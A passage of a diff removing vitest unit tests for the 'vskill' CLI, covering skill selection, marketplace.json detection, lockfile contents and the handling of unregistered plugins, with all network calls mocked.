- { name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
1889
- { name: "video-editor", path: "skills/video-editor/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/video-editor/SKILL.md" },
1890
- ]);
1891
- globalThis.fetch = vi.fn().mockResolvedValue({
1892
- ok: true,
1893
- text: async () => "# Skill content",
1894
- });
1895
- const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
1896
- throw new Error("process.exit");
1897
- });
1898
- // Non-TTY + no match → should abort, not install all
1899
- await expect(addCommand("remotion-dev-skills-remotion", {})).rejects.toThrow("process.exit");
1900
- const errorOutput = console.error.mock.calls
1901
- .map((c) => String(c[0]))
1902
- .join("\n");
1903
- expect(errorOutput).toContain("not found among 2 skills");
1904
- expect(errorOutput).toContain("remotion, video-editor");
1905
- mockExit.mockRestore();
1906
- });
1907
- it("auto-selects with case-insensitive match (registry slug vs directory name)", async () => {
1908
- mockGetSkill.mockResolvedValue({
1909
- name: "code-review",
1910
- author: "github",
1911
- content: undefined,
1912
- repoUrl: "https://github.com/github/copilot-skills",
1913
- installs: 50,
1914
- updatedAt: "2026-02-20T00:00:00Z",
1915
- });
1916
- // Directory has mixed case — registry slug is lowercase
1917
- mockDiscoverSkills.mockResolvedValue([
1918
- { name: "Code-Review", path: "skills/Code-Review/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/copilot-skills/main/skills/Code-Review/SKILL.md" },
1919
- { name: "unit-test", path: "skills/unit-test/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/copilot-skills/main/skills/unit-test/SKILL.md" },
1920
- ]);
1921
- globalThis.fetch = vi.fn().mockResolvedValue({
1922
- ok: true,
1923
- text: async () => "# Code Review Skill",
1924
- });
1925
- await addCommand("code-review", {});
1926
- // Should auto-select only Code-Review, not unit-test
1927
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
1928
- const lockArg = mockWriteLockfile.mock.calls[0][0];
1929
- expect(Object.keys(lockArg.skills)).toHaveLength(1);
1930
- expect(lockArg.skills).toHaveProperty("Code-Review");
1931
- expect(lockArg.skills).not.toHaveProperty("unit-test");
1932
- });
1933
- it("tip message suggests owner/repo format for direct install", async () => {
1934
- mockGetSkill.mockResolvedValue({
1935
- name: "excalidraw-diagram-generator",
1936
- author: "github",
1937
- content: undefined,
1938
- repoUrl: "https://github.com/github/awesome-copilot",
1939
- installs: 0,
1940
- updatedAt: "2026-02-20T00:00:00Z",
1941
- });
1942
- mockDiscoverSkills.mockResolvedValue([
1943
- { name: "excalidraw-diagram-generator", path: "skills/excalidraw-diagram-generator/SKILL.md", rawUrl: "https://raw.githubusercontent.com/github/awesome-copilot/main/skills/excalidraw-diagram-generator/SKILL.md" },
1944
- ]);
1945
- globalThis.fetch = vi.fn().mockResolvedValue({
1946
- ok: true,
1947
- text: async () => "# Skill content",
1948
- });
1949
- await addCommand("excalidraw-diagram-generator", {});
1950
- const logOutput = console.log.mock.calls
1951
- .map((c) => String(c[0]))
1952
- .join("\n");
1953
- expect(logOutput).toContain("vskill install github/awesome-copilot");
1954
- });
1955
- it("does not auto-filter when _targetSkill is not set (direct owner/repo)", async () => {
1956
- mockDiscoverSkills.mockResolvedValue([
1957
- { name: "skill-a", path: "skills/skill-a/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/skill-a/SKILL.md" },
1958
- { name: "skill-b", path: "skills/skill-b/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/skill-b/SKILL.md" },
1959
- ]);
1960
- globalThis.fetch = vi.fn().mockResolvedValue({
1961
- ok: true,
1962
- text: async () => "# Skill content",
1963
- });
1964
- // Direct install without registry — no _targetSkill
1965
- await addCommand("owner/repo", {});
1966
- // Both skills should be installed
1967
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(2);
1968
- const lockArg = mockWriteLockfile.mock.calls[0][0];
1969
- expect(Object.keys(lockArg.skills)).toHaveLength(2);
1970
- });
1971
- });
1972
- // ---------------------------------------------------------------------------
1973
- // Marketplace Detection & Install Mode (increment 0382)
1974
- // ---------------------------------------------------------------------------
1975
- const SAMPLE_MARKETPLACE_JSON = JSON.stringify({
1976
- name: "test-marketplace",
1977
- owner: { name: "Test Author" },
1978
- plugins: [
1979
- { name: "plugin-a", source: "./plugins/plugin-a", version: "1.0.0", description: "First plugin" },
1980
- { name: "plugin-b", source: "./plugins/plugin-b", version: "2.0.0", description: "Second plugin" },
1981
- { name: "plugin-c", source: "./plugins/plugin-c", version: "1.5.0", description: "Third plugin" },
1982
- ],
1983
- });
1984
- describe("detectMarketplaceRepo", () => {
1985
- it("TC-001: detects repo with .claude-plugin/marketplace.json", async () => {
1986
- globalThis.fetch = vi.fn()
1987
- .mockResolvedValueOnce({
1988
- ok: true,
1989
- json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
1990
- })
1991
- .mockResolvedValueOnce({
1992
- ok: true,
1993
- text: async () => SAMPLE_MARKETPLACE_JSON,
1994
- });
1995
- const result = await detectMarketplaceRepo("owner", "repo");
1996
- expect(result.isMarketplace).toBe(true);
1997
- expect(result.manifestContent).toBe(SAMPLE_MARKETPLACE_JSON);
1998
- });
1999
- it("TC-002: returns false for repo without marketplace.json", async () => {
2000
- globalThis.fetch = vi.fn().mockResolvedValue({
2001
- ok: false,
2002
- status: 404,
2003
- });
2004
- const result = await detectMarketplaceRepo("owner", "repo");
2005
- expect(result.isMarketplace).toBe(false);
2006
- expect(result.manifestContent).toBeUndefined();
2007
- });
2008
- it("TC-003: returns false on network error (graceful fallback)", async () => {
2009
- globalThis.fetch = vi.fn().mockRejectedValue(new Error("Network error"));
2010
- const result = await detectMarketplaceRepo("owner", "repo");
2011
- expect(result.isMarketplace).toBe(false);
2012
- });
2013
- it("decodes base64 content when download_url is missing", async () => {
2014
- const base64Content = Buffer.from(SAMPLE_MARKETPLACE_JSON).toString("base64");
2015
- globalThis.fetch = vi.fn().mockResolvedValue({
2016
- ok: true,
2017
- json: async () => ({ content: base64Content, encoding: "base64" }),
2018
- });
2019
- const result = await detectMarketplaceRepo("owner", "repo");
2020
- expect(result.isMarketplace).toBe(true);
2021
- expect(result.manifestContent).toBe(SAMPLE_MARKETPLACE_JSON);
2022
- });
2023
- it("returns false when marketplace.json has no plugins", async () => {
2024
- const emptyManifest = JSON.stringify({ name: "empty", owner: { name: "Test" }, plugins: [] });
2025
- globalThis.fetch = vi.fn()
2026
- .mockResolvedValueOnce({
2027
- ok: true,
2028
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2029
- })
2030
- .mockResolvedValueOnce({
2031
- ok: true,
2032
- text: async () => emptyManifest,
2033
- });
2034
- const result = await detectMarketplaceRepo("owner", "repo");
2035
- expect(result.isMarketplace).toBe(false);
2036
- });
2037
- });
2038
- describe("addCommand marketplace integration", () => {
2039
- beforeEach(() => {
2040
- mockEnsureLockfile.mockReturnValue({
2041
- version: 1,
2042
- agents: [],
2043
- skills: {},
2044
- createdAt: new Date().toISOString(),
2045
- updatedAt: new Date().toISOString(),
2046
- });
2047
- mockGetMarketplaceName.mockReturnValue("test-marketplace");
2048
- // Ensure fs mocks have correct return values (clearAllMocks preserves them,
2049
- // but restoreAllMocks from other describe blocks might have reset them)
2050
- mockMkdtempSync.mockReturnValue("/tmp/vskill-marketplace-abc123");
2051
- });
2052
- it("TC-004: routes to marketplace flow when repo is a marketplace", async () => {
2053
- // Marketplace detection succeeds + fallback for skill discovery/download
2054
- globalThis.fetch = vi.fn()
2055
- .mockResolvedValueOnce({
2056
- ok: true,
2057
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2058
- })
2059
- .mockResolvedValueOnce({
2060
- ok: true,
2061
- text: async () => SAMPLE_MARKETPLACE_JSON,
2062
- })
2063
- .mockResolvedValue({
2064
- ok: true,
2065
- json: async () => [{ name: "test-skill", type: "dir" }],
2066
- text: async () => "# Skill Content",
2067
- });
2068
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
2069
- // --yes to auto-select all
2070
- await addCommand("owner/repo", { yes: true });
2071
- // Should NOT call discoverSkills
2072
- expect(mockDiscoverSkills).not.toHaveBeenCalled();
2073
- // Should write lockfile with marketplace source
2074
- expect(mockWriteLockfile).toHaveBeenCalled();
2075
- const lockArg = mockWriteLockfile.mock.calls[0][0];
2076
- expect(lockArg.skills["plugin-a"].source).toBe("marketplace:owner/repo#plugin-a");
2077
- });
2078
- it("TC-005: falls through to discovery when repo is NOT a marketplace", async () => {
2079
- // Marketplace detection fails (404)
2080
- globalThis.fetch = vi.fn().mockResolvedValue({
2081
- ok: false,
2082
- status: 404,
2083
- });
2084
- // Discovery returns skills
2085
- mockDiscoverSkills.mockResolvedValue([
2086
- { name: "my-skill", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
2087
- ]);
2088
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
2089
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
2090
- mockRunTier1Scan.mockReturnValue(makeScanResult());
2091
- // Re-mock fetch for skill content
2092
- globalThis.fetch = vi.fn().mockResolvedValue({
2093
- ok: true,
2094
- text: async () => "# My Skill Content",
2095
- });
2096
- await addCommand("owner/repo", {});
2097
- // Should call discoverSkills
2098
- expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
2099
- });
2100
- it("TC-006: --plugin flag bypasses marketplace detection", async () => {
2101
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
2102
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
2103
- mockRunTier1Scan.mockReturnValue(makeScanResult());
2104
- // Mock fetch for marketplace.json lookup (via installRepoPlugin)
2105
- globalThis.fetch = vi.fn().mockResolvedValue({
2106
- ok: true,
2107
- text: async () => SAMPLE_MARKETPLACE_JSON,
2108
- });
2109
- mockReadFileSync.mockReturnValue(SAMPLE_MARKETPLACE_JSON);
2110
- mockExistsSync.mockReturnValue(true);
2111
- mockReaddirSync.mockReturnValue([]);
2112
- mockStatSync.mockReturnValue({ isDirectory: () => true, isFile: () => false });
2113
- // With --plugin flag, it goes to installRepoPlugin directly
2114
- await addCommand("owner/repo", { plugin: "plugin-a" }).catch(() => { });
2115
- // discoverSkills should NOT be called (plugin flag routes differently)
2116
- // detectMarketplaceRepo is also not called (plugin flag checked first)
2117
- });
2118
- it("TC-013: summary shows correct counts with mixed success/failure", async () => {
2119
- globalThis.fetch = vi.fn()
2120
- .mockResolvedValueOnce({
2121
- ok: true,
2122
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2123
- })
2124
- .mockResolvedValueOnce({
2125
- ok: true,
2126
- text: async () => SAMPLE_MARKETPLACE_JSON,
2127
- })
2128
- .mockResolvedValue({
2129
- ok: true,
2130
- json: async () => [{ name: "test-skill", type: "dir" }],
2131
- text: async () => "# Skill Content",
2132
- });
2133
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
2134
- await addCommand("owner/repo", { yes: true });
2135
- expect(mockWriteLockfile).toHaveBeenCalled();
2136
- const lockArg = mockWriteLockfile.mock.calls[0][0];
2137
- expect(lockArg.skills["plugin-a"]).toBeDefined();
2138
- expect(lockArg.skills["plugin-b"]).toBeDefined();
2139
- expect(lockArg.skills["plugin-c"]).toBeDefined();
2140
- });
2141
- it("TC-014: no temp directory created during marketplace install", async () => {
2142
- globalThis.fetch = vi.fn()
2143
- .mockResolvedValueOnce({
2144
- ok: true,
2145
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2146
- })
2147
- .mockResolvedValueOnce({
2148
- ok: true,
2149
- text: async () => SAMPLE_MARKETPLACE_JSON,
2150
- });
2151
- await addCommand("owner/repo", { yes: true });
2152
- // No temp dir should be created or cleaned up — files extracted directly
2153
- expect(mockMkdtempSync).not.toHaveBeenCalled();
2154
- expect(mockRmSync).not.toHaveBeenCalled();
2155
- });
2156
- it("TC-015: lockfile records marketplace source format", async () => {
2157
- globalThis.fetch = vi.fn()
2158
- .mockResolvedValueOnce({
2159
- ok: true,
2160
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2161
- })
2162
- .mockResolvedValueOnce({
2163
- ok: true,
2164
- text: async () => SAMPLE_MARKETPLACE_JSON,
2165
- })
2166
- .mockResolvedValue({
2167
- ok: true,
2168
- json: async () => [{ name: "test-skill", type: "dir" }],
2169
- text: async () => "# Skill Content",
2170
- });
2171
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
2172
- await addCommand("owner/repo", { yes: true });
2173
- const lockArg = mockWriteLockfile.mock.calls[0][0];
2174
- expect(lockArg.skills["plugin-a"].source).toBe("marketplace:owner/repo#plugin-a");
2175
- expect(lockArg.skills["plugin-a"].marketplace).toBe("test-marketplace");
2176
- expect(lockArg.skills["plugin-a"].pluginDir).toBe(true);
2177
- expect(lockArg.skills["plugin-a"].version).toBe("1.0.0");
2178
- expect(lockArg.skills["plugin-b"].version).toBe("2.0.0");
2179
- });
2180
- it("TC-017: unchecking installed plugins in interactive mode uninstalls them", async () => {
2181
- // Set up lockfile with 2 previously installed plugins
2182
- mockReadLockfile.mockReturnValue({
2183
- version: 1,
2184
- agents: [],
2185
- skills: {
2186
- "plugin-a": { version: "1.0.0", source: "marketplace:owner/repo#plugin-a" },
2187
- "plugin-b": { version: "2.0.0", source: "marketplace:owner/repo#plugin-b" },
2188
- },
2189
- createdAt: new Date().toISOString(),
2190
- updatedAt: new Date().toISOString(),
2191
- });
2192
- // Marketplace detection succeeds + fallback for skill discovery/download
2193
- globalThis.fetch = vi.fn()
2194
- .mockResolvedValueOnce({
2195
- ok: true,
2196
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2197
- })
2198
- .mockResolvedValueOnce({
2199
- ok: true,
2200
- text: async () => SAMPLE_MARKETPLACE_JSON,
2201
- })
2202
- .mockResolvedValue({
2203
- ok: true,
2204
- json: async () => [{ name: "test-skill", type: "dir" }],
2205
- text: async () => "# Skill Content",
2206
- });
2207
- // Enable interactive mode
2208
- mockIsTTY.mockReturnValue(true);
2209
- // First checkbox: user selects only plugin-c (index 2)
2210
- // Second checkbox: agent selection — select first agent (index 0)
2211
- mockPromptCheckboxList
2212
- .mockResolvedValueOnce([2])
2213
- .mockResolvedValueOnce([0]);
2214
- // Agents for uninstall directory removal + skill install
2215
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
2216
- // Skill directories exist
2217
- mockExistsSync.mockReturnValue(true);
2218
- await addCommand("owner/repo", {});
2219
- // Should uninstall plugin-a and plugin-b
2220
- expect(mockRemoveSkillFromLock).toHaveBeenCalledTimes(2);
2221
- expect(mockRemoveSkillFromLock).toHaveBeenCalledWith("plugin-a", expect.any(String));
2222
- expect(mockRemoveSkillFromLock).toHaveBeenCalledWith("plugin-b", expect.any(String));
2223
- // Should remove skill directories from filesystem
2224
- expect(mockRmSync).toHaveBeenCalled();
2225
- });
2226
- it("TC-018: --yes mode does NOT uninstall previously installed plugins", async () => {
2227
- // Set up lockfile with 2 previously installed plugins
2228
- mockReadLockfile.mockReturnValue({
2229
- version: 1,
2230
- agents: [],
2231
- skills: {
2232
- "plugin-a": { version: "1.0.0", source: "marketplace:owner/repo#plugin-a" },
2233
- "plugin-b": { version: "2.0.0", source: "marketplace:owner/repo#plugin-b" },
2234
- },
2235
- createdAt: new Date().toISOString(),
2236
- updatedAt: new Date().toISOString(),
2237
- });
2238
- // Marketplace detection succeeds
2239
- globalThis.fetch = vi.fn()
2240
- .mockResolvedValueOnce({
2241
- ok: true,
2242
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2243
- })
2244
- .mockResolvedValueOnce({
2245
- ok: true,
2246
- text: async () => SAMPLE_MARKETPLACE_JSON,
2247
- });
2248
- // --yes auto-selects all — should NOT uninstall anything
2249
- await addCommand("owner/repo", { yes: true });
2250
- expect(mockRemoveSkillFromLock).not.toHaveBeenCalled();
2251
- });
2252
- });
2253
- // ---------------------------------------------------------------------------
2254
- // Unregistered plugin discovery integration (increment 0433)
2255
- // ---------------------------------------------------------------------------
2256
- describe("addCommand unregistered plugin discovery", () => {
2257
- const originalFetch = globalThis.fetch;
2258
- beforeEach(() => {
2259
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
2260
- mockCheckPlatformSecurity.mockResolvedValue(null);
2261
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
2262
- mockEnsureLockfile.mockReturnValue({
2263
- version: 1,
2264
- agents: [],
2265
- skills: {},
2266
- createdAt: "2026-01-01T00:00:00.000Z",
2267
- updatedAt: "2026-01-01T00:00:00.000Z",
2268
- });
2269
- mockMkdtempSync.mockReturnValue("/tmp/vskill-marketplace-abc123");
2270
- });
2271
- afterEach(() => {
2272
- globalThis.fetch = originalFetch;
2273
- });
2274
- it("--yes without --force skips unregistered plugins", async () => {
2275
- // Marketplace detection succeeds
2276
- globalThis.fetch = vi.fn()
2277
- .mockResolvedValueOnce({
2278
- ok: true,
2279
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2280
- })
2281
- .mockResolvedValueOnce({
2282
- ok: true,
2283
- text: async () => SAMPLE_MARKETPLACE_JSON,
2284
- })
2285
- .mockResolvedValue({
2286
- ok: true,
2287
- json: async () => [{ name: "test-skill", type: "dir" }],
2288
- text: async () => "# Skill Content",
2289
- });
2290
- // Discovery returns unregistered plugins
2291
- mockDiscoverUnregisteredPlugins.mockResolvedValue({
2292
- plugins: [
2293
- { name: "new-plugin", source: "./plugins/new-plugin" },
2294
- ],
2295
- failed: false,
2296
- });
2297
- await addCommand("owner/repo", { yes: true });
2298
- // Console output should mention skipping unregistered
2299
- const logOutput = console.log.mock.calls
2300
- .map((c) => String(c[0]))
2301
- .join("\n");
2302
- expect(logOutput).toContain("Skipping");
2303
- expect(logOutput).toContain("new-plugin");
2304
- });
2305
- it("--yes --force includes unregistered plugins", async () => {
2306
- // Marketplace detection succeeds
2307
- globalThis.fetch = vi.fn()
2308
- .mockResolvedValueOnce({
2309
- ok: true,
2310
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2311
- })
2312
- .mockResolvedValueOnce({
2313
- ok: true,
2314
- text: async () => SAMPLE_MARKETPLACE_JSON,
2315
- })
2316
- .mockResolvedValue({
2317
- ok: true,
2318
- json: async () => [{ name: "test-skill", type: "dir" }],
2319
- text: async () => "# Skill Content",
2320
- });
2321
- // Discovery returns unregistered plugins
2322
- mockDiscoverUnregisteredPlugins.mockResolvedValue({
2323
- plugins: [
2324
- { name: "new-plugin", source: "./plugins/new-plugin" },
2325
- ],
2326
- failed: false,
2327
- });
2328
- await addCommand("owner/repo", { yes: true, force: true });
2329
- // Console output should mention including unregistered
2330
- const logOutput = console.log.mock.calls
2331
- .map((c) => String(c[0]))
2332
- .join("\n");
2333
- expect(logOutput).toContain("Including");
2334
- expect(logOutput).toContain("new-plugin");
2335
- });
2336
- it("shows incomplete warning when discovery API fails", async () => {
2337
- // Marketplace detection succeeds
2338
- globalThis.fetch = vi.fn()
2339
- .mockResolvedValueOnce({
2340
- ok: true,
2341
- json: async () => ({ download_url: "https://example.com/marketplace.json" }),
2342
- })
2343
- .mockResolvedValueOnce({
2344
- ok: true,
2345
- text: async () => SAMPLE_MARKETPLACE_JSON,
2346
- })
2347
- .mockResolvedValue({
2348
- ok: true,
2349
- json: async () => [{ name: "test-skill", type: "dir" }],
2350
- text: async () => "# Skill Content",
2351
- });
2352
- // Discovery fails (API error)
2353
- mockDiscoverUnregisteredPlugins.mockResolvedValue({
2354
- plugins: [],
2355
- failed: true,
2356
- });
2357
- await addCommand("owner/repo", { yes: true });
2358
- // Should show warning about incomplete plugin list
2359
- const logOutput = console.log.mock.calls
2360
- .map((c) => String(c[0]))
2361
- .join("\n");
2362
- expect(logOutput).toContain("incomplete");
2363
- });
2364
- });
2365
- //# sourceMappingURL=add.test.js.map